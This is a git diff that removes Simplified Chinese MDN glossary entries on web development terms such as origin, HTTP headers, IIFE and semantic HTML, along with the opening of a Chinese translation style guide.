- - - -

{{IncludeSubnav("/en-US/docs/Glossary")}}

diff --git "a/files/zh-cn/glossary/\346\212\275\350\261\241\347\274\226\347\250\213/index.html" "b/files/zh-cn/glossary/\346\212\275\350\261\241\347\274\226\347\250\213/index.html" deleted file mode 100644 index a7497bdc94..0000000000 --- "a/files/zh-cn/glossary/\346\212\275\350\261\241\347\274\226\347\250\213/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: 抽象编程 -slug: Glossary/抽象编程 -tags: - - 名词解释 - - 抽象 - - 编程 - - 编程脚本 - - 编程语言 -translation_of: Glossary/Abstraction ---- -

在计算机编程{{Glossary("computer programming")}}领域中,抽象编程指在研发大型复杂软件系统时,通过抽象的方法来降低编程复杂度,实现系统快速高效设计和开发的编程模式。它将系统各功能实现的技术细节隐藏在相对简单的 {{Glossary("API", "APIs")}}之后。

- -

更多资料

- -

基础知识

- - - -

 

diff --git "a/files/zh-cn/glossary/\346\225\260\345\255\227\350\257\201\344\271\246/index.html" "b/files/zh-cn/glossary/\346\225\260\345\255\227\350\257\201\344\271\246/index.html" deleted file mode 100644 index 0f6702c480..0000000000 --- "a/files/zh-cn/glossary/\346\225\260\345\255\227\350\257\201\344\271\246/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: 数字证书 -slug: Glossary/数字证书 -translation_of: Glossary/Digital_certificate ---- -

数字证书是一个将公开的{{Glossary("Key", "加密密钥")}}和一个组织绑定的数据文件。 一个数字证书包含一个组织的信息,如公共名称(例如mozilla.org),组织单元(例如Mozilla Corporation)以及位置(例如Mountain View)。数字证书通常由{{Glossary("certificate authority")}}签署,以证明其真实性。

- -

了解更多

- - diff --git "a/files/zh-cn/glossary/\346\225\260\346\215\256\345\272\223/index.html" "b/files/zh-cn/glossary/\346\225\260\346\215\256\345\272\223/index.html" deleted file mode 100644 index d26907d711..0000000000 --- "a/files/zh-cn/glossary/\346\225\260\346\215\256\345\272\223/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 数据库 -slug: Glossary/数据库 -tags: - - 数据库 -translation_of: Glossary/Database ---- -

数据库是一种用于收集已组织好的数据以便于搜索、结构化和扩充的存储系统。

- -

网站开发中, 大多数数据库采用关系型数据库管理系统 (RDBMS) 来组织数据, 通过 {{glossary("SQL")}}语言来编程。 但有些数据库没有遵循上述的组织数据的机制,这类被称作 NoSQL 数据库。

- -

被广泛使用的服务端关系型数据库有 MySQL (或者源于它的 MariaDB ), SQL Server, 和 Oracle Database 等。另一边,出名的 NoSQL 数据库有 MongoDBCassandraRedis等。

- -

浏览器也有他们特有的数据库系统,被称作 {{glossary("IndexedDB")}}。

- - diff --git "a/files/zh-cn/glossary/\346\255\243\345\270\270\346\250\241\345\274\217/index.html" "b/files/zh-cn/glossary/\346\255\243\345\270\270\346\250\241\345\274\217/index.html" deleted file mode 100644 index 3856bd5b35..0000000000 --- "a/files/zh-cn/glossary/\346\255\243\345\270\270\346\250\241\345\274\217/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 正常模式 -slug: Glossary/正常模式 -translation_of: Glossary/Sloppy_mode ---- -

因为翻译原因,正常模式也被翻译为——马虎模式/稀松模式/懒散模式

- -

{{Glossary("ECMAScript")}} 5 以及其后续的版本可以选择性的使用一种新模式——严格模式(strict mode),这种严格模式在多个方面改变了JavaScript的语义,从而使得当出现问题时我们更好的理解到底发生了什么。

- -

常见的,非严格模式——平时我们会称之为正常模式(sloppy mode),这并不是一个官方说法,但是你会经常见到如上的一些说法,其意义就是指代非严格模式,即正常模式。

- -

相关链接

- - diff --git "a/files/zh-cn/glossary/\346\265\217\350\247\210\345\231\250/index.html" "b/files/zh-cn/glossary/\346\265\217\350\247\210\345\231\250/index.html" deleted file mode 100644 index a52951c1b7..0000000000 --- "a/files/zh-cn/glossary/\346\265\217\350\247\210\345\231\250/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 浏览器 -slug: Glossary/浏览器 -translation_of: Glossary/Browser ---- -

网页浏览器是一种从 {{Glossary("World Wide Web","Web")}} 获取和显示页面的程序,并且让用户通过 {{Glossary("hyperlink","超链接")}} 访问更多页面。

- -

获悉更多

- -

基础知识

- - - -

下载一个浏览器

- - diff --git "a/files/zh-cn/glossary/\346\270\220\350\277\233\345\242\236\345\274\272/index.html" "b/files/zh-cn/glossary/\346\270\220\350\277\233\345\242\236\345\274\272/index.html" deleted file mode 100644 index 7a0b586b9a..0000000000 --- "a/files/zh-cn/glossary/\346\270\220\350\277\233\345\242\236\345\274\272/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 渐进增强 -slug: Glossary/渐进增强 -tags: - - 无障碍 - - 设计 - - 词汇表 -translation_of: Glossary/Progressive_Enhancement ---- -

渐进增强(Progressive enhancement)是一种设计理念,其核心是为尽可能多的用户提供基本内容和功能,同时进一步为现代化浏览器用户提供最佳体验,运行所有需要的代码。

- -

特性检测通常用于确定浏览器是否可以处理高级内容,而polyfill通常用于使用JavaScript构建缺少的功能。

- -

另外请关注无障碍支持 — 尽可能提供备选方案。

- -

这个技术很有用,因为它让Web开发者,在专注开发最强大的网站同时,和某些未知的用户代理在访问网站时发生问题,两者之间达到权衡。 {{Glossary("优雅降级")}} 相关而不同 — 通常被视为与渐进增强相反的方向。实际上,这两种方法都是有效的,并且通常可以相互补充。

- -

了解更多

- -

基本知识

- - diff --git "a/files/zh-cn/glossary/\346\272\220/index.html" "b/files/zh-cn/glossary/\346\272\220/index.html" deleted file mode 100644 index 83090ee98f..0000000000 --- "a/files/zh-cn/glossary/\346\272\220/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Origin -slug: Glossary/源 -translation_of: Glossary/Origin ---- -

Web内容的源由用于访问它的{{Glossary("URL")}} 的方案(协议),主机(域名)和端口定义。只有当方案,主机和端口都匹配时,两个对象具有相同的起源。

- -

某些操作仅限于同源内容,而可以使用 CORS 解除这个限制。

- -

同源的例子

- - - - - - - - - - - - -
http://example.com/app1/index.html
- http://example.com/app2/index.html
same origin because same scheme (http) and host (example.com)
http://Example.com:80
- http://example.com
same origin because a server delivers HTTP content through port 80 by default
- -

不同源的例子

- - - - - - - - - - - - - - - - -
http://example.com/app1
- https://example.com/app2
different schemes
http://example.com
- http://www.example.com
- http://myapp.example.com
different hosts
http://example.com
- http://example.com:8080
different ports
- -

了解更多

- -

详细信息,请看同源策略

diff --git "a/files/zh-cn/glossary/\347\246\201\346\255\242\344\277\256\346\224\271\347\232\204\346\266\210\346\201\257\351\246\226\351\203\250/index.html" "b/files/zh-cn/glossary/\347\246\201\346\255\242\344\277\256\346\224\271\347\232\204\346\266\210\346\201\257\351\246\226\351\203\250/index.html" deleted file mode 100644 index 6e14c9b0a1..0000000000 --- "a/files/zh-cn/glossary/\347\246\201\346\255\242\344\277\256\346\224\271\347\232\204\346\266\210\346\201\257\351\246\226\351\203\250/index.html" +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 禁止修改的消息首部 -slug: Glossary/禁止修改的消息首部 -translation_of: Glossary/Forbidden_header_name ---- -

禁止修改的消息首部指的是不能在代码中通过编程的方式进行修改的HTTP协议消息首部。本文仅讨论相关的HTTP请求首部(关于禁止修改的响应首部,请参考 {{Glossary("Forbidden response header name")}})。

- -

用户代理对这些消息首部保留全部控制权,应用程序无法设置它们。 Names starting with `Sec-` are reserved for creating new headers safe from {{glossary("API","APIs")}} using Fetch that grant developers control over headers, such as {{domxref("XMLHttpRequest")}}.

- -

禁止修改的消息首部包括以 Proxy- 和 Sec- 开头的消息首部,以及下面列出的消息首部:

- - - -
-

注意: 根据最新的规范User-Agent 首部已经从列表中移除。更多内容请参考规范的 forbidden header name list 一节(Firefox 43 实现了对这一更改的支持)。因此,该首部已经可以用于诸如 Fetch 的 Headers 对象,XHR 的 setRequestHeader()? 中。

-
diff --git "a/files/zh-cn/glossary/\347\251\272\345\205\203\347\264\240/index.html" "b/files/zh-cn/glossary/\347\251\272\345\205\203\347\264\240/index.html" deleted file mode 100644 index 6d9fb8d229..0000000000 --- "a/files/zh-cn/glossary/\347\251\272\345\205\203\347\264\240/index.html" +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 空元素 -slug: Glossary/空元素 -tags: - - Glossary - - 中级 - - 词汇 -translation_of: Glossary/Empty_element ---- -

一个空元素(empty element)可能是 HTML,SVG,或者 MathML 里的一个不能存在子节点(例如内嵌的元素或者元素内的文本)的{{Glossary("element")}}。

- -

HTMLSVG 和 MathML 的规范都详细定义了每个元素能包含的具体内容(define very precisely what each element can contain)。许多组合是没有任何语义含义的,比如一个 {{HTMLElement("audio")}} 元素嵌套在一个 {{HTMLElement("hr")}} 元素里。

- -

在 HTML 中,通常在一个空元素上使用一个闭标签是无效的。例如, <input type="text"></input> 的闭标签是无效的 HTML。

- -

在 HTML 中有以下这些空元素:

- - - -
-

Note: 在极少数情况下,空元素被错误地称为“无效元素”(void elements)。

-
diff --git "a/files/zh-cn/glossary/\347\253\213\345\215\263\346\211\247\350\241\214\345\207\275\346\225\260\350\241\250\350\276\276\345\274\217/index.html" "b/files/zh-cn/glossary/\347\253\213\345\215\263\346\211\247\350\241\214\345\207\275\346\225\260\350\241\250\350\276\276\345\274\217/index.html" deleted file mode 100644 index 659d1e8670..0000000000 --- "a/files/zh-cn/glossary/\347\253\213\345\215\263\346\211\247\350\241\214\345\207\275\346\225\260\350\241\250\350\276\276\345\274\217/index.html" +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: IIFE(立即调用函数表达式) -slug: Glossary/立即执行函数表达式 -tags: - - CodingScripting - - Glossary - - JavaScript - - 术语 -translation_of: Glossary/IIFE ---- -

IIFE( 立即调用函数表达式)是一个在定义时就会立即执行的  {{glossary("JavaScript")}} {{glossary("function","函数")}}。

- -
(function () {
-    statements
-})();
- -

这是一个被称为 {{glossary("Self-Executing Anonymous Function", "自执行匿名函数")}} 的设计模式,主要包含两部分。第一部分是包围在 {{jsxref("Operators/Grouping", "圆括号运算符")}} () 里的一个匿名函数,这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量,而且又不会污染全局作用域。

- -

第二部分再一次使用 () 创建了一个立即执行函数表达式,JavaScript 引擎到此将直接执行函数。

- -

示例

- -

当函数变成立即执行的函数表达式时,表达式中的变量不能从外部访问。

- -
(function () {
-    var name = "Barry";
-})();
-// 无法从外部访问变量 name
-name // 抛出错误:"Uncaught ReferenceError: name is not defined"
-
- -

将 IIFE 分配给一个变量,不是存储 IIFE 本身,而是存储 IIFE 执行后返回的结果。

- -
var result = (function () {
-    var name = "Barry";
-    return name;
-})();
-// IIFE 执行后返回的结果:
-result; // "Barry"
- -

了解更多

- -

了解

- - - -

常识

- - - - diff --git "a/files/zh-cn/glossary/\347\254\254\344\270\200\345\255\227\350\212\202\346\227\266\351\227\264/index.html" "b/files/zh-cn/glossary/\347\254\254\344\270\200\345\255\227\350\212\202\346\227\266\351\227\264/index.html" deleted file mode 100644 index 8bcc8f0ce9..0000000000 --- "a/files/zh-cn/glossary/\347\254\254\344\270\200\345\255\227\350\212\202\346\227\266\351\227\264/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: 第一字节时间 -slug: Glossary/第一字节时间 -translation_of: Glossary/time_to_first_byte ---- -

第一字节时间(TTFB)是指从浏览器请求页面到从浏览器接收来自服务器发送的信息的第一个字节的时间。这一次包括DNS查找和使用(三次)TCP握手和SSL握手建立连接(如果请求是通过https发出的)。

- - - -

TTFB是从请求开始到响应开始之间所用的时间,以毫秒为单位:

- -
TTFB = responseStart - requestStart
- -

See Also:

- - diff --git "a/files/zh-cn/glossary/\347\256\200\345\215\225\345\244\264\351\203\250/index.html" "b/files/zh-cn/glossary/\347\256\200\345\215\225\345\244\264\351\203\250/index.html" deleted file mode 100644 index c2c1f71d4f..0000000000 --- "a/files/zh-cn/glossary/\347\256\200\345\215\225\345\244\264\351\203\250/index.html" +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 简单头部 -slug: Glossary/简单头部 -tags: - - HTTP - - 简单头部 - - 跨域 -translation_of: Glossary/Simple_header ---- -

以下的 HTTP headers都可以被认为是简单头部:

- - - -

或者以下客户端头部之一的也可以被认为是简单头部:

- - - -

当只包含简单头部时,一个请求则被视为简单请求并且在CORS中不需要发送{{glossary("preflight request")}}。

- -

Learn more

- - diff --git "a/files/zh-cn/glossary/\347\256\227\346\263\225/index.html" "b/files/zh-cn/glossary/\347\256\227\346\263\225/index.html" deleted file mode 100644 index 8dcea73131..0000000000 --- "a/files/zh-cn/glossary/\347\256\227\346\263\225/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 算法 -slug: Glossary/算法 -tags: - - 专业术语 - - 编程基础 -translation_of: Glossary/Algorithm ---- -

算法是一个良定义的具体计算步骤的一个序列。

- -

换句话说,一个算法就是由人或机器可重复的解决问题的方法。计算机科学家们使用算法的复杂度(又称O标记法)来表示算法的效率。

- -

例如:

- - - -

常用的算法有寻找最优路径算法,例如“旅行推销员问题”、“树的遍历算法”等。

- -

还有很多机器学习算法例如“线性回归”、“决策树”、“随机森林”、“支持向量机”、“循环神经网络(RNN)”、“长短时记忆(LSTM)神经网络”、“卷积神经网络(CNN)”、“深度卷积神经网络”等。

- -

更多详情

- -

通用知识库(维基百科)

- - - -

技术分析

- - diff --git "a/files/zh-cn/glossary/\347\261\273\345\236\213\350\275\254\346\215\242/index.html" "b/files/zh-cn/glossary/\347\261\273\345\236\213\350\275\254\346\215\242/index.html" deleted file mode 100644 index 7d1eb4c23e..0000000000 --- "a/files/zh-cn/glossary/\347\261\273\345\236\213\350\275\254\346\215\242/index.html" +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Type conversion(类型转换) -slug: Glossary/类型转换 -tags: - - Type - - 术语 - - 类型 -translation_of: Glossary/Type_Conversion ---- -

类型转换(或类型变换;英文:Type conversion, typecasting)是指将数据由一种类型变换为另一种类型。在编译器自动赋值时,会发生隐式转换,但在代码中,也可以用一些写法强制要求进行显式转换。例如:在表达式 5 + 2.0 中,整数 5 被隐式转换为浮点数,但 Number("0x11") 和 "0x11" 则被显式转换为数字 17。

- - diff --git "a/files/zh-cn/glossary/\347\274\226\350\257\221/index.html" "b/files/zh-cn/glossary/\347\274\226\350\257\221/index.html" deleted file mode 100644 index 0e11863653..0000000000 --- "a/files/zh-cn/glossary/\347\274\226\350\257\221/index.html" +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: 编译 -slug: Glossary/编译 -translation_of: Glossary/Compile ---- -

编译是将相同的程序从一种计算机程序语言转换到另一种语言计算机语言的过程。编译器是运行上述任务的软件。有时候,任务也被称为“汇编”或“构建”,这通常表示不仅仅编译完成,例如,用二进制格式进行打包。

- -

通常,编译器转换一个人类理解的高级语言例如c或者java到机器语言,例如cpu理解的汇编语言。一些编译器转化同级别语言的被称为转换器或者交叉编译器,例如从TypeScript到jiavascript的编译。这些通常被理解为效率工具。

- -

绝大多数编译器以预先编译(AOT)或实时编译(JIT)形式工作。作为一个开发者,你通常使用命令行或者集成开发环境(IDE)调用预先编译(AOT)的编译器。最出名的就是gcc编译器了。

- -

实时编译器通常是用来提高性能的,令你没有感知的。例如在浏览器中,Firefox的SpiderMonkey的JavaScript引擎又一个内置的实时编译器会在你浏览时将网页中的JavaScript代码编译为机器码,从而提供运行效率。类似WebAssembly的项目正在使这些工作做的更好。

- -

了解更多

- -

基础知识

- - - -

学习资料

- - diff --git "a/files/zh-cn/glossary/\347\274\226\350\257\221\346\227\266\351\227\264/index.html" "b/files/zh-cn/glossary/\347\274\226\350\257\221\346\227\266\351\227\264/index.html" deleted file mode 100644 index 8c94f6fa5f..0000000000 --- "a/files/zh-cn/glossary/\347\274\226\350\257\221\346\227\266\351\227\264/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 编译时间 -slug: Glossary/编译时间 -translation_of: Glossary/Compile_time ---- -

编译时间是指程序从被加载到程序被解析完成所用的时间。

- -

学习更多

- -

基础知识

- - - -

 

diff --git "a/files/zh-cn/glossary/\350\257\255\344\271\211/index.html" "b/files/zh-cn/glossary/\350\257\255\344\271\211/index.html" deleted file mode 100644 index 54cb20f0b9..0000000000 --- "a/files/zh-cn/glossary/\350\257\255\344\271\211/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Semantics(语义) -slug: Glossary/语义 -tags: - - 编程 - - 语义 - - 语义化 -translation_of: Glossary/Semantics ---- -

在编程中,语义指的是一段代码的含义 — 例如 "运行这行 JavaScript 代码会产生怎样的影响?", 或者 "这个 HTML 的元素有什么作用,扮演了什么样的角色"(而不只是 "它看上去像是什么?"。)

- -

JavaScript 中的语义

- -

JavaScript 中,考虑一个函数,该函数接受一个字符串参数,然后返回一个以该字符串为文本内容的{{htmlelement("li")}}元素。如果该函数调用是build('Peach'),你会需要去看代码才能理解该函数做了什么吗,如果是createLiWithContent('Peach')呢?

- -

CSS 中的语义

- -

CSS 中,考虑给一个列表设置样式,li 元素代表不同类型的水果。通过 div > ul > li,你能知道 DOM 的那一部分会被选择中吗?但如果是 .fruits__item 呢?

- -

HTML 中的语义

- -

HTML 中,例如,{{htmlelement("h1")}} 元素是一个语义化元素,赋予了它包裹着的文本“这个页面中最高级别标题功能“的角色 (或含义) 。

- -
<h1>This is a top level heading</h1>
- -

默认情况下,绝大多数浏览器的 user agent stylesheet 将会赋予一个 {{htmlelement("h1")}} 元素很大的字号尺寸从而使它看上去更像是一个标题(虽然你可以把它格式化为任何你想要的样式),但是更重要的是它的语义会被在很多地方以不同的方式被使用到, 例如搜索引擎会把它包含的内容作为一个重要的关键词,从而影响这个页面在搜索结果中的排序(参见{{ glossary ("SEO")}}),而且屏幕阅读器会使用它来帮助视障用户更好的使用这个页面。

- -

另一方面,你可以通过样式(CSS)来让任何的元素看上去像是一个最高级别的标题,就像下面所展示的方法一样:

- -
<span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span>
- -

这将会把这个元素渲染得像是一个最高级别的标题,但是它的值没有对应到最“最高级别标题”这一语义,所以在此之上,它不会获得更多额外的描述(只是一个普通“span”元素而不是“最高级别标题”这一语义)。所以在恰当的需求下使用恰当的HTML元素是一个不错的主意。

- -

HTML should be coded to represent the data that will be populated and not based on its default presentation styling. Presentation (how it should look), is the sole responsibility of CSS.

- -

Some of the benefits from writing semantic markup are as follows:

- - - -

When approaching which markup to use, ask yourself, "What element(s) best describe/represent the data that I'm going to populate?" For example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.

- -

语义化元素

- -

这是一些语义化的元(source)。

- - - -

了解更多

- - diff --git "a/files/zh-cn/glossary/\350\257\267\346\261\202\345\244\264/index.html" "b/files/zh-cn/glossary/\350\257\267\346\261\202\345\244\264/index.html" deleted file mode 100644 index 666ace7ea4..0000000000 --- "a/files/zh-cn/glossary/\350\257\267\346\261\202\345\244\264/index.html" +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Request header(请求头) -slug: Glossary/请求头 -tags: - - HTTP - - 术语 -translation_of: Glossary/Request_header ---- -

请求头是 {{glossary("header", "HTTP 头")}}的一种,它可在 HTTP 请求中使用,并且和请求主体无关 。某些请求头如 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language", "Accept-*")}}、 {{HTTPHeader("If-Modified-Since", "If-*")}} 允许执行条件请求。某些请求头如:{{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}} 和 {{HTTPHeader("Referer")}} 描述了请求本身以确保服务端能返回正确的响应。

- -

并非所有出现在请求中的 HTTP 首部都属于请求头,例如在 {{HTTPMethod("POST")}} 请求中经常出现的 Content-Length 实际上是一个代表请求主体大小的 entity header,虽然你也可以把它叫做请求头。

- -

此外,CORS 定义了一个叫做 {{glossary('simple header', 'simple headers')}} 的集合,它是请求头集合的一个子集。如果某次请求是只包含 {{glossary('simple header', 'simple header')}} 的话,则被认为是简单请求,不会触发请求预检({{glossary("preflight request", "preflight")}})。

- -

下面是一个 HTTP 请求的请求头:

- -
GET /home.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/testpage.html
-Connection: keep-alive
-Upgrade-Insecure-Requests: 1
-If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
-If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
-Cache-Control: max-age=0
- -

严格来说在这个例子中的 {{HTTPHeader("Content-Length")}} 不是一个请求头,而是一个实体头({{glossary("entity header")}}):

- -
POST /myform.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Content-Length: 128
-
- -

深入了解

- -

技术信息

- - diff --git "a/files/zh-cn/glossary/\351\200\232\347\224\250\351\246\226\351\203\250/index.html" "b/files/zh-cn/glossary/\351\200\232\347\224\250\351\246\226\351\203\250/index.html" deleted file mode 100644 index acb1f99edf..0000000000 --- "a/files/zh-cn/glossary/\351\200\232\347\224\250\351\246\226\351\203\250/index.html" +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: General header(通用首部) -slug: Glossary/通用首部 -tags: - - HTTP - - 术语 -translation_of: Glossary/General_header ---- -

通用首部指的是可以应用于请求和响应中,但是不能应用于消息内容自身的 {{glossary('Header', 'HTTP 首部')}} 。 取决于应用的上下文环境,通用首部可以是{{glossary("Response header", "响应头部")}}或者{{glossary("request header", "请求头部")}}。但是不可以是{{glossary("entity header", "实体头部")}}。

- -

最常见的通用首部包括:{{HTTPHeader('Date')}}、{{HTTPheader("Cache-Control")}} 或 {{HTTPHeader("Connection")}}。

diff --git "a/files/zh-cn/glossary/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/index.html" "b/files/zh-cn/glossary/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/index.html" deleted file mode 100644 index 4f2793cc69..0000000000 --- "a/files/zh-cn/glossary/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: OOP -slug: Glossary/面向对象编程 -tags: - - 初学者 - - 术语 - - 编写脚本 -translation_of: Glossary/OOP ---- -

OOP(面向对象编程)是一种编程方法,其中数据封装在{{glossary("object","对象")}}中,对象本身在其上运行,而不是其组成部分。

- -

{{glossary("JavaScript")}} 是高度面向对象的。它遵循基于原型的模型(与基于类的模型相反)。

- -

了解更多

- -

常识

- - diff --git a/files/zh-cn/glossary_of_translation/index.html b/files/zh-cn/glossary_of_translation/index.html deleted file mode 100644 index c3fedad9ab..0000000000 --- a/files/zh-cn/glossary_of_translation/index.html +++ /dev/null @@ -1,572 +0,0 @@ ---- -title: 翻译术语表和翻译规范 -slug: Glossary_of_translation -tags: - - Translation - - localize ---- -

为了规范 MDN 上的术语、用语及规范,在此建立一个供编者、译者参考的术语表和翻译规范。如需查阅其他 Web 开发术语,请参见词汇表(有待翻译)。

- -

术语表

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
原文译文注释
Creative Commons License知识共享许可协议有些空间不足等原因可能简称CC协议
best practices最佳实践 最佳实践,是一个管理学概念,认为存在某种技术、方法、过程、活动或机制可以使生产或管理实践的结果达到最优,并减少出错的可能性。(参考 维基百科
Mozilla Demo StudioMozilla 演示室 
Demo演示如果会产生歧义或需特别注明,可以译为“演示(Demo)”
KumaKuma这里特指用于 MDN 的 wiki (维基知识库)软件系统本身,不译
MozillaMozilla指 Mozilla 基金会时,不译
谋智特指谋智网络(Mozilla 中国全资子公司)时
FirefoxFirefox虽然“谋智网络”网页等处翻译为火狐,但软件目前仍显示为 Firefox,且 MDN 访者皆可了解,故暂不译。
Add-on|Addons附加组件 -

扩展、插件、外观(主题)的总称

-
Extension扩展 -

本体 .xpi

-
Plug-in|Plugin插件 -

本体 DLL

-
Appearance外观 -

原称为主题(Theme),后某个版本开始在附加组件管理器中已改为外观。

-
WebWeb -

准确的翻译的话,应该对应中文的“网络”,然而感觉太容易有歧义了。不如不译。

-
World Wide Web万维网 -

虽然说这样翻译最好,但翻译后可能有些人不懂(还真有这样的),所以可以引注万维网的具体释义:一个由许多互相链接的超文本组成的系统,通过互联网访问。

-
   -

 

-
- -

翻译规范

- -

这里列出了一些在翻译工作中经常会遇到的一些问题,并给出一些参考意见和建议。

- -

MDN 是开放性的,每个人都可根据自己的兴趣和能力为其做出贡献。而无论你做出的贡献是大是小,都有可能会让很多的人从中受益,所以请不要吝惜自己的才华。

- -

但是,开放并不代表毫无约束和规范。MDN 中有几篇与风格和规范有关的文章可供参考(本文即为其中之一)。我们建议你认真阅读并尽量遵守,这会使你的文章与其他人保持一致,而一致的风格会让读者阅读起来更加轻松和惬意。

- -

本规范主要给你在翻译 MDN 上的英文文章时提供参考。其中的内容绝大部分都不是强制的(强调一下,MDN 是开放性的,我们更关注内容本身的价值,其次才是样式和风格),但是如果每个人都能注意这些并遵守,必然会让 MDN 变得更加美好。因此,何乐而不为呢?

- -

另外还有几篇与此有关的文章。如果你正准备为 MDN 添加一篇新的文章,可以参考 MDN Web 文档写作规范,这篇文章是从英文翻译过来的,其中的部分内容并不适合中文写作,但这并不妨碍你从中受益。而如果你对 MDN 编辑器(就是在 MDN 中撰写或编辑文章时使用的在线所见即所得编辑器)还不熟悉,可以参考这里的说明。

- -

最后,感谢你能够耐心阅读本文。Let‘s get started.

- -

意译优于直译

- -

技术文档的翻译不比文学作品的翻译,因为一般来说,技术类文章都是采用直述方式来撰写的,因此翻译相对简单,即使是完全的直译也不会导致读者无法理解的问题。

- -

但是由于中英文的语法、表述习惯、以及思维方式上的差异等诸多客观因素,如果只是机械化地对原文的每一句话进行直译,仍然可能会影响翻译质量。因此就我个人的经验来看,在翻译的时候把握原文的意思,然后适当采用意译的方式来翻译,是一种比较好的技术类文章的翻译实践。

- -

避免逐句翻译

- -

一般来说,我们拿到一篇英文文章,在翻译的时候都会采用边阅读边翻译的方式,也就是逐句翻译。这种方式有点类似于计算机处理指令。优点是简单直观,比较流程化;而缺点则是容易导致翻译较为生硬,并且容易产生理解偏差甚至错误。

- -

翻译生硬是因为当你把注意力集中在某条句子上面时,就容易被其英文表达方式所影响,从而由逐句翻译变为逐词翻译,翻译出来的中文经常带有明显的“翻译腔”(想了解什么是翻译腔?)。

- -

容易产生理解偏差和理解错误,是因为逐句翻译时容易忽略它们与上下文中其他内容之间的联系,从而导致对原文的意思把握不够全面,有时候就会产生理解上的偏差,甚至是完全曲解原文的意思。

- -

对于不是专业从事翻译工作的人来说(我想大多数志愿者应该都不是专业的翻译人员),很难避免逐句翻译的习惯,但是我们在这里给出几点建议,可以帮助你提高翻译质量。

- - - -

我们鼓励你在翻译之前先将英文版的原文通读一遍,至少应该通读一下当前准备翻译的小节,这样可以减少对原文的理解偏差。

- - - -

写作文的时候,老师会强调修改的必要性;写代码的时候,我们也会强调重构的好处。翻译也是一样,不要想着一次成功,想要一遍就得到高质量的成果是很难的。我们可以先采用逐句翻译的方式,得到译文的第一稿,然后再通过重构去修正和优化它。重构可能会重复好几轮最终才能得到一篇高质量的的译文。

- -

不要担心过程繁琐或重构会占用你太多时间。记住,宁缺毋滥,不准确甚至错误的翻译只会误导他人,而我们的理想是给他人带来帮助。

- -

误解:100% 翻译 = 准确

- -

可能有些人会有这样的误解:我必须把英文原文中的每一句话都翻译出来,不能遗漏,只有这样才是准确的翻译。

- -

这种观念是错误的。首先,由于英文和中文在表述习惯上的差异,有些句子在英文中比较自然,但如果直接翻译为中文就会显得有些啰嗦。此时我们可以选择将其精简一下,把冗余的部分去掉。不要担心丢掉了这些内容之后会让译文不准确,必要的删减只会让译文更加简洁,阅读起来也更加流畅。

- -

比如英文中经常会见到“he/she”、“and/or”这样的表达方式。看起来比较严谨,但是在中文中并没有类似的习惯,因此简单将其翻译为“他”、“和”(也可以是“或”)即可。如果非要追求“准确”而将其翻译为“他/她”、“和/或”反而有画蛇添足之感(并且翻译腔也比较浓)。

- -

表述习惯上的差异还包括语序、句式、时态、词性等,关于中英文两种语言在表述习惯上的差异,可以参考下面的小节。

- -

其次,英文原文也不一定是 100% 正确的。MDN 上的英文文档虽然质量很高,但它也是由人维护的,是人就会有疏忽和犯错的时候,因此我们所翻译的原文并不一定是完全正确的。而作为翻译者,我们不应该只满足于翻译活动本身,还应该在翻译过程中勇于发现和改正原文的错误之处。

- -

准确表述原文意思

- -

这一点并不是一条具体的规范,因为我不会、也无法解释如何才能做到“准确表述原文的原意”。将这一点列在这里主要是为了强调我们应该努力提高翻译的准确性。

- -
-

我们要对翻译的每一句话负责。如果你的翻译中有错误,就可能会让读者产生误解,而这比不给他们提供译文更糟糕(没有译文时,读者可以阅读英文原文,或去其他地方查找相关资料)。注意,这里所说的错误特指严重的概念性错误或原则性错误,而不是由于疏忽而导致的排版错误、打字错误等小的失误。

-
- -

下面这个例子是我之前翻译过的一篇文章里面的一段内容。原文是这样的:

- -
The term "global objects" (or standard built-in objects) here is not to be
-confused with the global object. Here, global objects refer to objects in
-the global scope. The global object itself can be accessed using the this
-operator in the global scope (but only if ECMAScript 5 strict mode is not
-used; in that case it returns undefined). In fact, the global scope consists
-of the properties of the global object, including inherited properties, if
-any.
- -

